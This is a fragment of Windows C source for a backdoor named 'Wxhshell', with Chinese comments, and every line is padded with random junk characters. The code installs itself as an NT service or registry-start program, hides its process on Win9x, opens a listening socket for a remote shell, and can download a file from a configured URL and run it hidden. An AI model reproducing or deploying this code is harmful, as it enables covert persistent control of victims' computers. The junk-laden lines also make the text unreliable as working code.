ULONG UniqueProcessId; UzN8G$92qF
ULONG InheritedFromUniqueProcessId; B\NcCp`5
} PROCESS_BASIC_INFORMATION; 0rGj|@+;
yCZ2^P!a
PROCNTQSIP NtQueryInformationProcess; ]~ >@%v&
?<g|.HY/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CARq^xI-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i{4'cdr?
'%3u%;"
HANDLE hProcess; |zg=+
PROCESS_BASIC_INFORMATION pbi; *di&%&f
.;cxhgU
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <&*#famX
if(NULL == hInst ) return 0; EGr|BLl
9k*^\@\\x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =nw,*q +
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YcEtgpz@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <b3x(/
;cnnqT6
if (!NtQueryInformationProcess) return 0; 7BVXBw
aKaR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1+VY><=n
if(!hProcess) return 0; P~n8EO1r
CuF%[9[cT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,,zd.9n
k{zs578h2
CloseHandle(hProcess); zK[
7:<
5/zf
x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z0=Rp0_W
if(hProcess==NULL) return 0; rwasH,+
S a(yjF1
HMODULE hMod; <=#lRZW[z
char procName[255]; )R8%wk?2
unsigned long cbNeeded; A!Knp=Gw
O-y6!u$6&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?r^
hmu"a
hg$qbeUl
CloseHandle(hProcess); -ryDsq
Tyg$`\#
if(strstr(procName,"services")) return 1; // 以服务启动 /h1dm,
8Pl+yiB/o`
return 0; // 注册表启动 +e&m#d
} ~W]#9&yQ
\ 9[NH/.Z{
// 主模块 :|*Gnu
int StartWxhshell(LPSTR lpCmdLine) /8 e2dw:
\
{ s
ZlJ/_g
SOCKET wsl; OHx,*}N
BOOL val=TRUE; u^j8
XOT
int port=0; ^D%}V- "
struct sockaddr_in door; *#ob5TBq[
n1fEdaa7g
if(wscfg.ws_autoins) Install(); {QIS411
!N@S^JD6
port=atoi(lpCmdLine); z }FiU[Hs
e|2vb
GQ
if(port<=0) port=wscfg.ws_port; yEMX `
!D.= 'V
WSADATA data; i}v}K'`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $.suu^>^w
]
P:NnKgK
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (= S"Kvb~#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^KaqvG$ed
door.sin_family = AF_INET; uW\@x4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); GoGohsj
door.sin_port = htons(port); <M5{.`o
jsZiARTZRl
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f.U0E6-(3N
closesocket(wsl); z'vdC
return 1; Tx|SAa=V
} v^y}lT
&KOG[tv
if(listen(wsl,2) == INVALID_SOCKET) { y^EF<<\
closesocket(wsl); ~#HH;q_7m
return 1; GFASF,+
} X+?Il)Bv
Wxhshell(wsl); knNhN=hG+
WSACleanup(); }a #b$]Y
.!7Fe)(x
return 0; $M}k%Z
Ak%no3:9
} b@{%qh,C
J]kP`
// 以NT服务方式启动 tu?Z@W/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -Fp!w "=T
{ }5TfQV6
DWORD status = 0; Li c{'w&
DWORD specificError = 0xfffffff; <Y}"D Yt
Ti9:'I
serviceStatus.dwServiceType = SERVICE_WIN32; Allt]P>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; MHpL$g=5_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %~~z9 6(
serviceStatus.dwWin32ExitCode = 0; n6}E4Eno
serviceStatus.dwServiceSpecificExitCode = 0; l1+w2rd1
serviceStatus.dwCheckPoint = 0; Q%X:5G?
serviceStatus.dwWaitHint = 0; kb>Vw<NtE
:uU]rBMo
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [t"_}t =w
if (hServiceStatusHandle==0) return; 6,V.j>z
A9fjMnw
status = GetLastError(); m-Z'K_oQ
if (status!=NO_ERROR) c1)BGy li
{ OTNZ!U/)j
serviceStatus.dwCurrentState = SERVICE_STOPPED; Hz!U_?
serviceStatus.dwCheckPoint = 0; qJbhPY8Ak
serviceStatus.dwWaitHint = 0; &dwI8@&
serviceStatus.dwWin32ExitCode = status; ~q'w),bE"Q
serviceStatus.dwServiceSpecificExitCode = specificError; t9$AvE#a!=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yq)YS]
return; +_-)0[+p
} BW;=i.
(TbB?X}
serviceStatus.dwCurrentState = SERVICE_RUNNING; ||*&g2Y
serviceStatus.dwCheckPoint = 0; A^= Hu,"e
serviceStatus.dwWaitHint = 0; U:pLnNp`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fRv
S@
} :)
Fp
B"
YQB]t=Ha
// 处理NT服务事件,比如:启动、停止 QJ(e*/
VOID WINAPI NTServiceHandler(DWORD fdwControl) YfrTvKX
{ 4? /ot;>2
switch(fdwControl) 0?&aV_:;X
{ a\[fC=]r:
case SERVICE_CONTROL_STOP: mNBpb}
serviceStatus.dwWin32ExitCode = 0; x jP" 'yU
serviceStatus.dwCurrentState = SERVICE_STOPPED; "$,}|T?Y`
serviceStatus.dwCheckPoint = 0; NBbY## w0
serviceStatus.dwWaitHint = 0; @tjZvRtZ
{ %xbz&'W,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &ls!IN
} =?I1V#.
return; Z|cTzunp
case SERVICE_CONTROL_PAUSE: a dz;N;rIY
serviceStatus.dwCurrentState = SERVICE_PAUSED; gqHH Hh
break; &]"_pc/>m
case SERVICE_CONTROL_CONTINUE: go%X%Os]
serviceStatus.dwCurrentState = SERVICE_RUNNING; nkCRe
break; ./BP+\)lO
case SERVICE_CONTROL_INTERROGATE: *~t$k56
break; (X`t"*y"
}; [pC-{~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pYi=q
} }HA2ce\
ru6H nLhL
// 标准应用程序主函数 t+4%,n f_1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G7kFo6Cb
{ %;B(_ht<-w
vCU&yXGl
// 获取操作系统版本 i>kNz(*
OsIsNt=GetOsVer(); 31o7R &v
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?+} E
GD6'R"tJ
// 从命令行安装 <g|nmu)o$
if(strpbrk(lpCmdLine,"iI")) Install(); 9 (FcA5Y
]a%\Q2[c
// 下载执行文件 CDTk
if(wscfg.ws_downexe) { zm)CfEF
8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^) b7m
WinExec(wscfg.ws_filenam,SW_HIDE); WE Svkm;
} ]K0,nj*\c
-)->Jx:{
if(!OsIsNt) { pS|JDMo
// 如果时win9x,隐藏进程并且设置为注册表启动 m(7_ZiL=
HideProc(); ~V$5 m j
StartWxhshell(lpCmdLine); H@&"M%
} >*Qk~kv<%
else BS<>gA
R;/
if(StartFromService()) E<m"en&v
// 以服务方式启动 Dk{nOvZu<
StartServiceCtrlDispatcher(DispatchTable); "6Hjji@A
else m%$E[cUW!
// 普通方式启动 .n|3A3:
StartWxhshell(lpCmdLine); WG[0$j
C>K"ZJ
return 0; $Ln2O#
}